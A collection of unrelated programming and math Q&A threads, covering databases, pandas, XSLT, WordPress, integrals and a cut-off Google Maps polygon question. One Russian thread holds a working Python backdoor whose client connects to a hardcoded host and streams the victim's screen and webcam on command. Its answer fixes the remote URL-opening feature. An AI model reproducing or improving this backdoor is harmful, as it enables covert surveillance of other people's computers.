text:
Q: SQLite-like alternative for MongoDB? I'm looking for a document-oriented db with a Ruby API that has SQLite-like properties:

*

*self-contained,

*serverless,

*zero-configuration.

Are there light alternatives to MongoDB or CouchDB?
Is RDDB a possibility?
If not, what are the best paths to walk then?

A: I know, the question was asked 5 years ago, but just for completeness' sake, embedded MongoDB has happened since:
https://github.com/hamiltop/MongoLiteDB

A: It's not ready yet, but embeddable version of CouchDB are on the long term roadmap.
Replication is intended to enable offline applications with CouchDB. If you ended up with very specific needs you could replicate data from couchdb to a local datastructure, store it locally, update it, and push the data back via replication but it would take some code.

A: If you were using Perl, I'd recommend DBM::Deep, which stores arbitrary data structures on disk, including transactions with commit/rollback, and it's a non-C one-Perl-module install.  Doesn't get much lighter than that.

A: I almost feel you could do some sort of hack to achieve this.
Have a table using sqlite's row ids along with a field for collection name and text blob that would be json code.
Have another table for indexing with fields in a collection (collection name, field name, field value, document row id).
You could do some wrapper class to handle things like updates and lookups. Would be interesting.


text:
Q: Where can I find the latest nightly build of the development version? I want to test out a kernel issue and see if it's corrected in the latest Natty release. The last alpha was a little bit ago and I thought there were nightly ISOs I could try instead, but I can't seem to find them.

A: Here are the links:

*

*Live CD - http://cdimage.ubuntu.com/daily-live/current/

*Alternate CD - http://cdimage.ubuntu.com/daily/current/

redpajama_set_name: RedPajamaStackExchange


text:
Q: Set-DefaultScaffolder error on starting NuGet Package Manager console in VS 2013 I am getting the following errors when PMC is started in VS 2013:

Any help is greatly appreciated.
Regards.

A: That's because DTE in VS2013 has another name, and the call to DTE crashes.
David Douglas Anderson provided a new package that resolves this problem. We are working on an issue to make this package work with VS2013. As soon David get to update and publish the Nuget Package, I'll be updating this answer.

EDIT
David finally got the packages to work, so MvcScaffolding.VS2015 has support for VS2013 and 2015.


text:
Q: vectorise multiplication multiple dataframes based on column combinations Say we have dataframes set as follows:
df1 = pd.DataFrame(np.random.randint(0, 2, (10, 2)), columns=['Cow', 'Sheep'])
df2 = pd.DataFrame(np.random.randint(0, 2, (10, 5)), columns=['Hungry', 'Scared', 'Happy', 'Bored', 'Sad'])
df3 = pd.DataFrame(np.random.randint(0, 2, (10, 2)), columns=['Davids', 'Michaels'])
df1.index.name = df2.index.name = df3.index.name = 'id'

combos_to_test = pd.DataFrame([('Davids', 'Cow', 'Hungry'),
                               ('Michaels', 'Cow', 'Hungry'),
                               ('Davids', 'Cow', 'Scared'),
                               ('Michaels', 'Cow', 'Scared'),
                               ('Michaels', 'Sheep', 'Scared'),
                               ('Davids', 'Sheep', 'Happy'),
                               ('Michaels', 'Sheep', 'Happy'),])

example :
   DF1:           DF2:                                               DF3:
   id Cow Sheep    id   Hungry  Scared  Happy   Bored   Sad          id    Davids   Michaels
    0   0   1       0     0       1        1       0    1            0      1          0
    1   0   0       1     1       0        0       1    1            1      0          1
    2   0   0       2     1       0        0       1    1            2      0          0
    3   1   0       3     0       0        1       0    1            3      0          1
    4   1   0       4     0       0        1       1    0            4      0          1
    5   1   1       5     0       0        1       1    0            5      1          0
    6   1   1       6     1       0        1       1    0            6      1          0
    7   1   0       7     1       1        1       1    0            7      1          1
    8   1   1       8     1       1        1       1    0            8      1          0
    9   1   0       9     0       1        1       0    0            9      1          0

And I need a 4th dataframe, which finds (for each combination), when each combos_to_test is a column.
The way I plan on doing this is to change the columns into:
df1.columns = Cow, Cow, Cow, Cow, Sheep, Sheep, Sheep
df2.columns = Hungry, Hungry, Scared, Scared, Happy, Happy
df3.columns = David, Michael, David, Michael, Michael, David, Michael

Then renaming all the cols to col1, col2, col3, ..., col8
and then multiplying each dataframe by eachother (which will vectorise it - but take large amounts of memory).
My dataset is obviously much bigger, and will be using numpy/pandas.
The output df should look like:
  ('Davids', 'Cow', 'Hungry') | ('Michaels', 'Cow', 'Hungry') | ('Davids', 'Cow', 'Scared') | ('Michaels', 'Cow', 'Scared') | ...
 1)         0                               1                             0                                 0
 2)         0                               0                             0                                 0
 3)         0                               1                             0                                 0
 4)         0                               0                             1                                 0
 5)         0                               0                             0                                 0
 6)         0                               0                             0                                 0
 7)         0                               0                             0                                 0
 8)         0                               0                             1                                 1
 9)         1                               0                             0                                 0
10)         1                               0                             0                                 0

A: I can do this with pd.concat
df = pd.concat([df1, df2, df3], axis=1)

pd.concat({
    ctt: df.reindex(columns=ctt).prod(1)
    for ctt in map(tuple, combos_to_test.values)
}, axis=1)

   Davids              Michaels
      Cow        Sheep      Cow        Sheep
   Hungry Scared Happy   Hungry Scared Happy Scared
id
0       0      0     0        0      0     0      0
1       1      1     0        1      1     0      1
2       0      0     0        0      0     0      0
3       0      0     0        0      0     1      0
4       1      1     0        0      0     0      0
5       0      0     0        1      1     1      1
6       0      0     0        0      0     0      0
7       0      0     0        0      0     0      0
8       0      0     0        0      0     0      0
9       0      0     0        0      0     0      0

A: The easiest way to copy a column is to use just:
df1['Cow_copy'] = df1['Cow']

If you want to copy many columns, you could make a List of columns and loop through it and using the code above for each one.


text:
Q: web scraping without using selector gadgets I am beginner in web scraping. I have seen quite many videos regarding it.
If I want to scrape a data from a website, is it possible for me to do so without using the selector gadgets manually?
I want to code this in R.


text:
Q: local file access in Chrome I'm encountering an issue with some local web prototyping;
I've been working on a single page which access files on my C:/ by starting my Chrome with --allow-file-access-from-files.
This is great, I've got my first page working successfully and it loads in my .js,.css files etc as expected.
However, when I click the link to proceed to the next page, the HTML loads, but none of the styles, javascript (or even images) load.
I'm receiving 'Failed to load resource' errors in the console, despite the file:// url pointing to the correct location.
Is there any way around this issue?

A: In lieu of a solution, some advice: Set up a web server on your computer for testing. Developing in an environment that's similar to a "production" environment, as opposed to working around the quirks of local file access, will save you quite a bit of time in the long run.
There are a number of tools that will help you set up a development web server; XAMPP is a popular one.


text:
Q: Finding the bounds for a triple integration I'm currently working on a problem stating:
$\iiint_Q y*dV$, where Q is the solid that lies between the cylinders $x^2+y^2=1$ and $x^2+y^2=4$, above the xy-plane, and below the plane z=x+2.
My thought process was:
since it is above the xy-axis, z must be greater than 0, and less than x+2 (bounded below this)
since $x^2+y^2$ is equivalent to $r^2$, r must be between 1 and 2 (according to our cylinder equations)
Since we are dealing with cylinders, $\theta$ must be between 0 and 2$\pi$.
I did the triple integration using these numbers, which came out to be 0. This can't be right, so I'm just wondering if it was a mistake in my bounds (since I'm very new to this topic), or was it a computation error with my triple integration calculation?
(I'd also like to add that the reason it came out to be 0 is the 0 and 2$\pi$ cancelling everything out in my last integration)
Thank you!

A: $V = \displaystyle \int_{0}^{2\pi} \int_{1}^2 (r\cos \theta+2)rdrd\theta$. I am sure the answer won't be $0$ as claimed.I answered the wrong question, but if you are to find the volume, then this should be fine. For the right set up of the question, $I = \displaystyle \int_{0}^{2\pi} \int_{1}^2 r\sin \theta(r\cos \theta + 2)rdrd\theta$.

A: It's necessary to put all proper quantities in terms of polar coordinates.  Observe that $dV = rdrd\theta dz$ in this case, and also that $x = r\cos \theta$ and $y = r\sin \theta$.  Therefore your integration should start with the $z$-variable and should be
$$
\int_1^2 \int_0^{2\pi} \int_0^{r\cos\theta + 2} r\sin \theta (rdzd\theta dr) \;\; =\;\; \int_1^2 \int_0^{2\pi} \int_0^{r\cos\theta + 2} r^2\sin\theta dzd\theta dr.
$$
This reduces down to
$$
\int_1^2 \int_0^{2\pi} (r^3\sin\theta\cos\theta + 2r^2\sin\theta)d\theta dr.
$$
The contribution from the first term is zero since $\left .\frac{1}{2} \sin^2\theta \right |_0^{2\pi} = 0$, as well as from the second term since $-\cos\theta |_0^{2\pi} = 0$ as well.  If you want a qualitative explanation for why this is zero, then think about this: when you integrate $\iiint_Q ydV$ you are computing the $y$-centroid of this solid object, which is symmetric with respect to the $y$-axis.  It therefore makes sense that the $y$-centroid would be zero.


text:
Q: how to create a post type like comments I want to create a post type but don't allow to create new item on the back-end, the item of this post type can be only created on the front-end by the user.
How can I do this?
Thank you

A: Any post type can be created on the frontend, but you will need to write the form, and the save logic.
When you have submitted your form and have your content/title/etc prepared in variables, pass them into this function
wp_insert_post( $post, $wp_error );
e.g.
// Create post object
$my_post = array(
  'post_title'    => 'My post',
  'post_content'  => 'This is my post.',
  'post_type'     => 'post',
  'post_status'   => 'publish',
  'post_author'   => 1,
);

// Insert the post into the database
$new_post_id = wp_insert_post( $my_post );

By looking at the codex page and using some common sense you can create any type of post. These are the same APIs used by the admin dashboard code
To hide it in the backend, set show_ui to false when calling register_post_type

A: You can set show_ui to false in register_post_type arguments
You can create a "post" in the front-end using wp_insert_post


text:
Q: Значение url переместить в другой python файл Я делаю BackDoor на python, мне нужно что бы при вводе ссылки у себя, у удалённой машины открывался сайт который я введу, но у меня возникает во такая ошибка:
webbrowser.open(url, new=1)
NameError: name 'url' is not defined
Server.py:
from vidstream import *
from colorama import init, Fore
import socket
import os

init()

local_ip_address = socket.gethostbyname(socket.gethostname())
socket_port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((local_ip_address, socket_port))
s.listen(5)

client, addr = s.accept()
network_name = client.recv(1024).decode("utf-8")

print(f"[+] {addr[0]} ({addr[1]}) | {network_name}")

server = StreamingServer(local_ip_address, 9999)
server.start_server()
print("[~] The server was successfully connected")

while True:
    cmd = input(f"{Fore.GREEN}{addr[0]}@{network_name}~#{Fore.RESET}{Fore.LIGHTGREEN_EX} ")

    if cmd == "screen":
        client.send(cmd.encode("utf-8"))
    elif cmd == "webcam":
        client.send(cmd.encode("utf-8"))
    elif cmd == "cls":
        os.system("cls")
    elif cmd == "website":
        url = input('Введите ссылку: ')
        client.send(cmd.encode("utf-8"))

CLIENT.PY:
from vidstream import *
import socket
import getpass
import webbrowser

host = "26.169.92.35"
socket_port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, socket_port))

s.send(str(getpass.getuser()).encode("utf-8"))

while True:
    cmd_data = s.recv(1024).decode("utf-8")

    if cmd_data == "screen":
        screen = ScreenShareClient(host, 9999)
        screen.start_stream()
    elif cmd_data == "webcam":
        camera = CameraClient(host, 9999)
        camera.start_stream()
    elif cmd_data == "website":
        webbrowser.open(url, new=1)

A: Предлагаю такое решение:
server.py
...
while True:
    cmd = input(f"{Fore.GREEN}{addr[0]}@{network_name}~#{Fore.RESET}{Fore.LIGHTGREEN_EX} ")

    if cmd == "screen":
        client.send(cmd.encode("utf-8"))
    elif cmd == "webcam":
        client.send(cmd.encode("utf-8"))
    elif cmd == "cls":
        os.system("cls")
    elif cmd == "website":
        url = input('Введите ссылку: ')
        client.send((cmd + ' ' + url).encode("utf-8")) # <---

client.py
...
while True:
    cmd, data = s.recv(1024).decode("utf-8").split(' ') # <---

    if cmd == "screen": # <---
        screen = ScreenShareClient(host, 9999)
        screen.start_stream()
    elif cmd == "webcam": # <---
        camera = CameraClient(host, 9999)
        camera.start_stream()
    elif cmd == "website": # <---
        webbrowser.open(data, new=1) # <---


text:
Q: Neural network library for Python for Microsoft Windows I have been having trouble with selecting a good library for Neural network algorithms in Python.

*

*TensorFlow isn't supported on windows.

*Theano is still in the beta phase of development.

*PyBrain too is in the beta phase of development.

*Scipy supports machine leaning in terms of regression and clustering. But neural networks aren't present.

Please suggest me a reliable and robust library.

A: The most commonly used neural network libraries are Caffe, TensorFlow, Theano, and Torch. TensorFlow officially supports Microsoft Windows.
https://en.wikipedia.org/wiki/Comparison_of_deep_learning_software and best python library for neural networks give a more comprehensive list.

FYI:

*

*How to install Theano on Anaconda Python 2.7 x64 on Windows?

*Installing pre-built mxnet packages on Windows

*Microsoft's Caffe port for Windows

A: You can use scikit-learn for neural networks with backpropagation
http://scikit-learn.org/stable/modules/neural_networks_supervised.html

A: You can use CTNK https://github.com/Microsoft/CNTK which is actively developed by Microsoft. Blog post: https://blogs.microsoft.com/next/2016/01/25/microsoft-releases-cntk-its-open-source-deep-learning-toolkit-on-github/
It supports Keras which means that you can manage to run a Keras script backed by CTNK. Thus, it is also easy to take a Keras script backed by Tensorflow and run with it CTNK.


text:
Q: Remove export Formats in devexpress Document Viewer tool in the Send Via Email Function Hi im currently looking for a solution for my problem im currently using devexpress usercontrol document viewer. i just notice that when i tried to send the report into my email it has too many formats which is i dont like. i need to hide it Please see this image

i want to remove a certain format on that list
this question is similar to my other question the difference is that this formats is located in this control and the other is in the export
i though if i remove the format in the export it will also remove the formats when sending the report in the email any suggestions? this is my code for removing formats in the export which is not reflecting in the send email function
  documentViewer1.PrintingSystem.SetCommandVisibility(new PrintingSystemCommand[] {
PrintingSystemCommand.ExportRtf, PrintingSystemCommand.ExportTxt, PrintingSystemCommand.ExportMht,
PrintingSystemCommand.ExportXls, PrintingSystemCommand.ExportXlsx, PrintingSystemCommand.ExportXps,
 PrintingSystemCommand.ExportCsv }, CommandVisibility.None);

A: You can use PrintingSystemCommand.SendXls and PrintingSystemCommand.SendXlsx:
documentViewer1.PrintingSystem.SetCommandVisibility(new PrintingSystemCommand[] { PrintingSystemCommand.SendXls, PrintingSystemCommand.SendXlsx }, CommandVisibility.None);

Take a look at PrintingSystemCommand enumeration for available values.


text:
Q: Error when trying to install xgboost, Mac trying to install xgboost
pip3 install xgboost
this is the full output if that helps
Downloading xgboost-0.7.post3.tar.gz (450kB)
    100% |████████████████████████████████| 460kB 247kB/s
    Complete output from command python setup.py egg_info:
++ pwd

+ oldpath=/private/tmp/pip-build-dz4iiw24/xgboost

+ cd ./xgboost/

+ [[ darwin16 == \d\a\r\w\i\n* ]]

+ LIB_XGBOOST=libxgboost.dylib

+ make lib/libxgboost.dylib -j4

Makefile:31: MAKE [/Applications/Xcode.app/Contents/Developer/usr/bin/make]

- checked OK
c++ -std=c++11 -Wall -Wno-unknown-pragmas -Iinclude   -I/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/dmlc-core/include -Irabit/include -I/include -O3 -funroll-loops -msse2 -fPIC -fopenmp -MM -MT build/learner.o src/learner.cc

build/learner.d

c++ -std=c++11 -Wall -Wno-unknown-pragmas -Iinclude   -I/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/dmlc-core/include -Irabit/include -I/include -O3 -funroll-loops -msse2 -fPIC -fopenmp -MM -MT build/logging.o src/logging.cc

build/logging.d

c++ -std=c++11 -Wall -Wno-unknown-pragmas -Iinclude   -I/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/dmlc-core/include -Irabit/include -I/include -O3 -funroll-loops -msse2 -fPIC -fopenmp -MM -MT build/c_api/c_api.o

src/c_api/c_api.cc >build/c_api/c_api.d
c++ -std=c++11 -Wall -Wno-unknown-pragmas -Iinclude   -I/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/dmlc-core/include -Irabit/include -I/include -O3 -funroll-loops -msse2 -fPIC -fopenmp -MM -MT build/c_api/c_api_error.o src/c_api/c_api_error.cc >build/c_api/c_api_error.d

clangclangclang: error: : : error: unsupported option '-fopenmp'unsupported option '-fopenmp'clang

error: : unsupported option '-fopenmp'error: unsupported option '-fopenmp'

make: *** [build/c_api/c_api_error.o] Error 1

make: *** Waiting for unfinished jobs....

make: *** [build/c_api/c_api.o] Error 1

make: *** [build/logging.o] Error 1

make: *** [build/learner.o] Error 1

+ echo -----------------------------
-----------------------------

+ echo 'Building multi-thread xgboost failed'

Building multi-thread xgboost failed

+ echo 'Start to build single-thread xgboost'

Start to build single-thread xgboost

+ make clean

Makefile:31: MAKE [/Applications/Xcode.app/Contents/Developer/usr/bin/make]
- checked OK

rm -f -rf build build_plugin lib bin *~ */*~ */*/*~ */*/*/*~ */*.o */*/*.o
*/*/*/*.o #xgboost

rm -f -rf build_tests *.gcov tests/cpp/xgboost_test

cd R-package/src; rm -f -rf rabit src include dmlc-core amalgamation *.so
*.dll; cd /private/tmp/pip-build-dz4iiw24/xgboost/xgboost

/bin/sh: line 0: cd: R-package/src: No such file or directory
+ make lib/libxgboost.dylib -j4 USE_OPENMP=0

Makefile:31: MAKE [/Applications/Xcode.app/Contents/Developer/usr/bin/make]
- checked OK

Makefile:43: /private/tmp/pip-build-dz4iiw24/xgboost/xgboost/dmlc-
core/make/dmlc.mk: No such file or directory

make: *** No rule to make target `/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/dmlc-core/make/dmlc.mk'.  Stop.

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/private/tmp/pip-build-dz4iiw24/xgboost/setup.py", line 37, in <module>
    LIB_PATH = libpath['find_lib_path']()
  File "/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/libpath.py", line 49, in find_lib_path
    'List of candidates:\n' + ('\n'.join(dll_path)))
XGBoostLibraryNotFound: Cannot find XGBoost Library in the candidate path, did you install compilers and run build.sh in root path?
List of candidates:
/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/libxgboost.dylib
/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/../../lib/libxgboost.dylib
/private/tmp/pip-build-dz4iiw24/xgboost/xgboost/./lib/libxgboost.dylib
/Library/Frameworks/Python.framework/Versions/3.6/xgboost/libxgboost.dylib

----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in /private/tmp/pip-build-dz4iiw24/xgboost/

A: Try "conda install py-xgboost". This worked for me.


text:
Q: Create Log function I'm a programmer. I'm working with a sensor that has given the following graph.
I would like to make a function where i put the value of Rs/R0 in. The outcome of this function is the value of ppm of alcohol.
I understand that precision is imposible so, for the function i'm going for a straigt line from point (200 , 2.9 ) and the second point would be (10000 , 0.68).
I tried to google how you create log functions but i got stuck with the problem that i don't know the value of y (in my case rs/r0) when x (in my case ppm) is 1 . All tuts online i found used that. Is there an other way to calculate the function?

A: In your graph $\frac {R_s}{R_0}$ is a logarithmic function of the concentration in ppm.  You want to go the other way, so your function will be exponential.  You are fitting a line through two points, which you do by choosing your functional form and evaluating the coefficients.  If you choose your form to be $\log_{10} \frac {R_s}{R_0}=a+b\log_{10}(c)$ where $c$ is the concentration in ppm.  Each point gives one equation in $a,b$.  You have two equations in two unknowns.
$$0.46=a+b\cdot 2.30\\
-0.70=a+b\cdot 4\\
-1.16=1.70b\\
b=-1.47\\
a=5.16$$
You can raise $10$ to the power of each side, getting
$$\frac {R_s}{R_0}=10^a\cdot c^b=145000c^{-1.47}$$
where I have shown too many significant figures so you can follow through the calculation.


text:
Q: Returning QNames from user-defined function I am trying to transform a WSDL definition into another format for further processing, but I ran into a problem. I can't seem to return QName-values from a function, without them being turned into a string.
I reduced the file to the following, while retaining the error behavior. The original function was supposed to translate non-prefixed values using the target-namespace attribute from the containing <xs:schema> or <wsdl:definitions>.
Example XSLT document:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:xs="http://www.w3.org/2001/XMLSchema"
    xmlns:my="http://www.example.com/xslt"
    exclude-result-prefixes="#all" version="2.0">

    <xsl:output method="xml" indent="yes"/>

    <xsl:function name="my:resolve-QName2" as="xs:QName">
        <xsl:param name="name" as="xs:string"/>
        <xsl:param name="element" as="element()"/>
        <xsl:value-of select="resolve-QName($name,$element)"/>
    </xsl:function>

    <xsl:template match="/definitions">
        <xsl:variable name="qname" select="my:resolve-QName2('xs:string',.)" as="xs:QName"/>
        <QName>
            <prefix><xsl:value-of select="prefix-from-QName($qname)"/></prefix>
            <local><xsl:value-of select="local-name-from-QName($qname)"/></local>
            <namespace><xsl:value-of select="namespace-uri-from-QName($qname)"/></namespace>
        </QName>
    </xsl:template>
</xsl:stylesheet>

Input file:
<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns:xs="http://www.w3.org/2001/XMLSchema"/>

Expected result:
<?xml version="1.0" encoding="UTF-8"?>
<QName>
    <prefix>xs</prefix>
    <local>string</local>
    <namespace>http://www.w3.org/2001/XMLSchema</namespace>
</QName>

When running the above code, the Saxon 9.3.0.5 XSLT processor is stopping with an error:

Required item type of result of function my:resolve-QName2() is xs:QName. Cannot convert string to type {xs:QName}

It seems the engine is first casting the QName into a string, and then trying to cast it back to QName, which fails. If I remove the two as="xs:QName", I get the following error:

Required item type of first argument of prefix-from-QName() is xs:QName. Cannot convert string to type {xs:QName}

How can I return a QName from a function?
Is this a bug in Saxon XSLT processor, or something I have misunderstood about XSLT?
Is there any XSLT engine that is able to process the above file?

A: The problem is here:
<xsl:value-of select="resolve-QName($name,$element)"/>

This produces a text node (string) from the QName that resolve-QName() returns.
However the my:resolve-QName2 is declared as of type xs:QName -- not of xs:string and this causes the correctly reported error.
Solution:
Replace the above with:
<xsl:sequence select="resolve-QName($name,$element)"/>

Now when the corrected transformation:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:xs="http://www.w3.org/2001/XMLSchema"
        xmlns:my="http://www.example.com/xslt"
        exclude-result-prefixes="#all" version="2.0">

        <xsl:output method="xml" indent="yes"/>

        <xsl:function name="my:resolve-QName2" as="xs:QName">
            <xsl:param name="name" as="xs:string"/>
            <xsl:param name="element" as="element()"/>
            <xsl:sequence select="resolve-QName($name,$element)"/>
        </xsl:function>

        <xsl:template match="/definitions">
            <xsl:variable name="qname" select="my:resolve-QName2('xs:string',.)" as="xs:QName"/>
            <QName>
                <prefix><xsl:value-of select="prefix-from-QName($qname)"/></prefix>
                <local><xsl:value-of select="local-name-from-QName($qname)"/></local>
                <namespace><xsl:value-of select="namespace-uri-from-QName($qname)"/></namespace>
            </QName>
        </xsl:template>
</xsl:stylesheet>

is applied on the provided XML document:
<definitions xmlns:xs="http://www.w3.org/2001/XMLSchema"/>

the wanted, correct result is produced:
<QName>
   <prefix>xs</prefix>
   <local>string</local>
   <namespace>http://www.w3.org/2001/XMLSchema</namespace>
</QName>


text:
Q: background inner ring Google Maps (hole in polygon) I have a problem with polygons with inner rings in Google Maps. I've done several tests and examples but It does not work correctly.
This is an example that works correctly:
  var paths = [[
    new google.maps.LatLng(38.872886, -77.054720),
    new google.maps.LatLng(38.872602, -77.058046),
    new google.maps.LatLng(38.870080, -77.058604),
    new google.maps.LatLng(38.868894, -77.055664),
    new google.maps.LatLng(38.870598, -77.053346)
  ], [
    new google.maps.LatLng(38.871684, -77.056780),
    new google.maps.LatLng(38.871867, -77.055449),
    new google.maps.LatLng(38.870915, -77.054891),
    new google.maps.LatLng(38.870113, -77.055836),
    new google.maps.LatLng(38.870581, -77.057037)
  ]];

http://jsfiddle.net/5569fn01/1/
And this is an example with my real data:
var paths = [[
new google.maps.LatLng(40.432901, -3.693242),
new google.maps.LatLng(40.432896, -3.693366),
new google.maps.LatLng(40.432842, -3.694789),
new google.maps.LatLng(40.432833, -3.694912),
new google.maps.LatLng(40.432999, -3.6949),
new google.maps.LatLng(40.433829, -3.694829),
new google.maps.LatLng(40.433932, -3.694822),
new google.maps.LatLng(40.434022, -3.694816),
new google.maps.LatLng(40.434928, -3.69474),
new google.maps.LatLng(40.435077, -3.694725),
new google.maps.LatLng(40.435076, -3.69485),
new google.maps.LatLng(40.435035, -3.696426),
new google.maps.LatLng(40.435179, -3.696416),
new google.maps.LatLng(40.435567, -3.69639),
new google.maps.LatLng(40.435662, -3.696382),
new google.maps.LatLng(40.435658, -3.696257),
new google.maps.LatLng(40.435581, -3.694807),
new google.maps.LatLng(40.435573, -3.694681),
new google.maps.LatLng(40.436564, -3.694595),
new google.maps.LatLng(40.436663, -3.694583),
new google.maps.LatLng(40.436663, -3.69471),
new google.maps.LatLng(40.43669, -3.696191),
new google.maps.LatLng(40.436689, -3.696313),
new google.maps.LatLng(40.436779, -3.696306),
new google.maps.LatLng(40.436977, -3.696294),
new google.maps.LatLng(40.438149, -3.696219),
new google.maps.LatLng(40.438307, -3.696203),
new google.maps.LatLng(40.43831, -3.696327),
new google.maps.LatLng(40.43837, -3.697579),
new google.maps.LatLng(40.438374, -3.697701),
new google.maps.LatLng(40.438378, -3.697828),
new google.maps.LatLng(40.438406, -3.698438),
new google.maps.LatLng(40.438406, -3.698476),
new google.maps.LatLng(40.438414, -3.698542),
new google.maps.LatLng(40.438442, -3.699126),
new google.maps.LatLng(40.438446, -3.699248),
new google.maps.LatLng(40.438454, -3.699373),
new google.maps.LatLng(40.438479, -3.699828),
new google.maps.LatLng(40.438487, -3.699974),
new google.maps.LatLng(40.438494, -3.700201),
new google.maps.LatLng(40.438511, -3.700501),
new google.maps.LatLng(40.43853, -3.700995),
new google.maps.LatLng(40.438606, -3.702541),
new google.maps.LatLng(40.438657, -3.70377),
new google.maps.LatLng(40.438669, -3.704118),
new google.maps.LatLng(40.438685, -3.704454),
new google.maps.LatLng(40.438719, -3.705496),
new google.maps.LatLng(40.438738, -3.706029),
new google.maps.LatLng(40.438749, -3.70643),
new google.maps.LatLng(40.438764, -3.706876),
new google.maps.LatLng(40.438802, -3.708035),
new google.maps.LatLng(40.43881, -3.708214),
new google.maps.LatLng(40.438648, -3.708229),
new google.maps.LatLng(40.437531, -3.708311),
new google.maps.LatLng(40.437445, -3.708318),
new google.maps.LatLng(40.437449, -3.70846),
new google.maps.LatLng(40.437512, -3.709802),
new google.maps.LatLng(40.43752, -3.709965),
new google.maps.LatLng(40.437529, -3.710104),
new google.maps.LatLng(40.437572, -3.711025),
new google.maps.LatLng(40.437581, -3.71115),
new google.maps.LatLng(40.437482, -3.711158),
new google.maps.LatLng(40.436981, -3.7112),
new google.maps.LatLng(40.436981, -3.711189),
new google.maps.LatLng(40.436418, -3.711233),
new google.maps.LatLng(40.436323, -3.711242),
new google.maps.LatLng(40.436315, -3.711118),
new google.maps.LatLng(40.436271, -3.710183),
new google.maps.LatLng(40.436263, -3.710039),
new google.maps.LatLng(40.436255, -3.709882),
new google.maps.LatLng(40.436191, -3.708552),
new google.maps.LatLng(40.436183, -3.708409),
new google.maps.LatLng(40.436093, -3.708416),
new google.maps.LatLng(40.435205, -3.708492),
new google.maps.LatLng(40.43511, -3.708498),
new google.maps.LatLng(40.435114, -3.708649),
new google.maps.LatLng(40.435205, -3.709957),
new google.maps.LatLng(40.435213, -3.71011),
new google.maps.LatLng(40.435221, -3.710261),
new google.maps.LatLng(40.435256, -3.711201),
new google.maps.LatLng(40.43526, -3.71133),
new google.maps.LatLng(40.435165, -3.71134),
new google.maps.LatLng(40.434737, -3.711375),
new google.maps.LatLng(40.434656, -3.711381),
new google.maps.LatLng(40.434259, -3.711413),
new google.maps.LatLng(40.434156, -3.711417),
new google.maps.LatLng(40.434061, -3.711421),
new google.maps.LatLng(40.433061, -3.711503),
new google.maps.LatLng(40.43297, -3.711511),
new google.maps.LatLng(40.432867, -3.71152),
new google.maps.LatLng(40.432479, -3.711552),
new google.maps.LatLng(40.431835, -3.711604),
new google.maps.LatLng(40.431745, -3.711613),
new google.maps.LatLng(40.431654, -3.711621),
new google.maps.LatLng(40.431114, -3.711668),
new google.maps.LatLng(40.43037, -3.711735),
new google.maps.LatLng(40.430203, -3.711835),
new google.maps.LatLng(40.430186, -3.711648),
new google.maps.LatLng(40.430063, -3.710426),
new google.maps.LatLng(40.429927, -3.709089),
new google.maps.LatLng(40.429914, -3.708938),
new google.maps.LatLng(40.429905, -3.708896),
new google.maps.LatLng(40.429892, -3.708799),
new google.maps.LatLng(40.429843, -3.708805),
new google.maps.LatLng(40.428921, -3.70936),
new google.maps.LatLng(40.42883, -3.709443),
new google.maps.LatLng(40.42873, -3.70953),
new google.maps.LatLng(40.428568, -3.709635),
new google.maps.LatLng(40.428519, -3.709499),
new google.maps.LatLng(40.428316, -3.709481),
new google.maps.LatLng(40.428321, -3.709417),
new google.maps.LatLng(40.428325, -3.708782),
new google.maps.LatLng(40.428329, -3.708081),
new google.maps.LatLng(40.428335, -3.707872),
new google.maps.LatLng(40.428295, -3.707878),
new google.maps.LatLng(40.428006, -3.707928),
new google.maps.LatLng(40.427974, -3.707933),
new google.maps.LatLng(40.428005, -3.707338),
new google.maps.LatLng(40.427973, -3.707343),
new google.maps.LatLng(40.427964, -3.707345),
new google.maps.LatLng(40.427473, -3.707427),
new google.maps.LatLng(40.427432, -3.707434),
new google.maps.LatLng(40.427437, -3.707393),
new google.maps.LatLng(40.427464, -3.706702),
new google.maps.LatLng(40.427475, -3.706418),
new google.maps.LatLng(40.427467, -3.706265),
new google.maps.LatLng(40.427967, -3.706165),
new google.maps.LatLng(40.428048, -3.706151),
new google.maps.LatLng(40.428045, -3.705988),
new google.maps.LatLng(40.427966, -3.705586),
new google.maps.LatLng(40.427936, -3.705405),
new google.maps.LatLng(40.427853, -3.704952),
new google.maps.LatLng(40.427647, -3.70393),
new google.maps.LatLng(40.427634, -3.703864),
new google.maps.LatLng(40.427612, -3.703866),
new google.maps.LatLng(40.427589, -3.703869),
new google.maps.LatLng(40.427278, -3.703926),
new google.maps.LatLng(40.427233, -3.703934),
new google.maps.LatLng(40.427203, -3.703648),
new google.maps.LatLng(40.427195, -3.703571),
new google.maps.LatLng(40.42719, -3.703538),
new google.maps.LatLng(40.426987, -3.703572),
new google.maps.LatLng(40.426974, -3.703575),
new google.maps.LatLng(40.426942, -3.703586),
new google.maps.LatLng(40.42692, -3.70359),
new google.maps.LatLng(40.426906, -3.703592),
new google.maps.LatLng(40.426893, -3.703593),
new google.maps.LatLng(40.426884, -3.703593),
new google.maps.LatLng(40.42687, -3.703591),
new google.maps.LatLng(40.426857, -3.703586),
new google.maps.LatLng(40.426848, -3.703577),
new google.maps.LatLng(40.426663, -3.703611),
new google.maps.LatLng(40.426347, -3.703669),
new google.maps.LatLng(40.426316, -3.703676),
new google.maps.LatLng(40.426311, -3.703639),
new google.maps.LatLng(40.426298, -3.70354),
new google.maps.LatLng(40.426116, -3.701729),
new google.maps.LatLng(40.426112, -3.701685),
new google.maps.LatLng(40.426078, -3.701199),
new google.maps.LatLng(40.426074, -3.701156),
new google.maps.LatLng(40.426146, -3.701128),
new google.maps.LatLng(40.426102, -3.70111),
new google.maps.LatLng(40.425872, -3.70101),
